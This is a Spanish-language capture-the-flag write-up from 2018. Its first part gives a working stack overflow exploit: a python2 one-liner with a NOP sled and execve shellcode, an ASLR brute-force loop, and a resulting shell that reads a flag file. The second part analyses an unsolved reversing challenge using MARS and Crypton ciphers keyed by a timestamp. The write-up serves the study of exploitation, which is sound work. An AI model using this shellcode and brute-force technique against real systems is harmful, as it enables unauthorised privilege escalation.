    level1@3fd3123de246:/tmp/frdefr$ python2 -c 'open("r11", "wb").write("\xff\xff\xff\xff" + "@" + "A"*(232+32) + "\x18\xdc\xff\xff" + "\x38\x79\xa0\xff" +"\x90"*900 + "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\
    x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80")'

    #bruteforcear para paar el ASLR de poca entropía (en arquitectura de 32 bits):
    level1@3fd3123de246:/tmp/frdefr$ let contador=0; while true; do /home/level1/level1 r11; let contador=$contador+1; echo $contador; done
    Segmentation fault (core dumped)
    3695
    Path: @AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÜÿÿ8y ÿ1Àð̀1ÒRhn/shh//biãRSáB                                                                                                                                                                                                              ̀
    $ id
    uid=1001(level1) gid=1000(level1priv) euid=1002(userpriv) groups=1000(level1priv)
    $ cat /home/level1/.pass
    stackinteger1337






== Avior reversing - no resuelto ==
Dentro de un zip hay dos ficheros:
    un binario ELF de 64 bits
    un fichero cifrado "oh_noes.encrypted" supuestamente cifrado con el binario


Nota: Este reto se ha quedado sin resolver.

Creo que tiene fallos y que no se puede resolver.



Haciendo el reversing se llega a la conclusión que el binario cifra con algo del estilo:
    ciphertext = crypton_encrypt(key, mars_encrypt(key, plaintext))

siendo:
    plaintext = trozos del fichero de 4 en 4 bytes
    key = string de la fecha en que se ejecutó, en formato epoch
    la misma key en ambos cifrados.

    La key estará cercana a la fecha del fichero (que se puede ver en el zip), que en epoch es "1528124134", segundo arriba, abajo

    Nota: Crypton y mars son dos cifrados que fueron candidatos a aes.
    
    Hay implementaciones en la web de schneier: https://www.schneier.com/books/applied_cryptography/source.html

Para descifrar el ciphertext, habría que hacer:
    plaintext = mars_decrypt(key, crypton_decrypt(key, plaintext))


Tras bastantes intentos, no he conseguido nada legible, y había detalles que no me cuadraban: creo que hay un fallo en el binario que hace que el output sea random incluso parcheando la función time() para que la clave sea siempre la misma. El problema creo que está en:

Paso de longitud de clave en bytes en vez de en bits al key scheduler de mars.
    La función set_key de mars espera como segundo parámetro la longitud en bits, y en vez de eso el programa la envía en bytes.
    Esto hace que el cifrado sea random y no se pueda resolver (creo que por un buffer overflow que se produce al leer la clave)

    Se puede comprobar fácil parcheando la llamada a time() para q devuelva constante, y aún así sigue cifrando el mismo fichero a cosas distintas cada vez q lo lanzas, cuando debería ser un cifrado determinista.


Por otro lado, tanto mars como crypton son cifrados de 128 bits, y aquí están modificados en ciertos sitios para cifrar bloques de 32 bits, pero creo que no es coherente en todas las partes del binario (sin confirmar este análisis por falta de tiempo)


2018-06-22
danitorwS



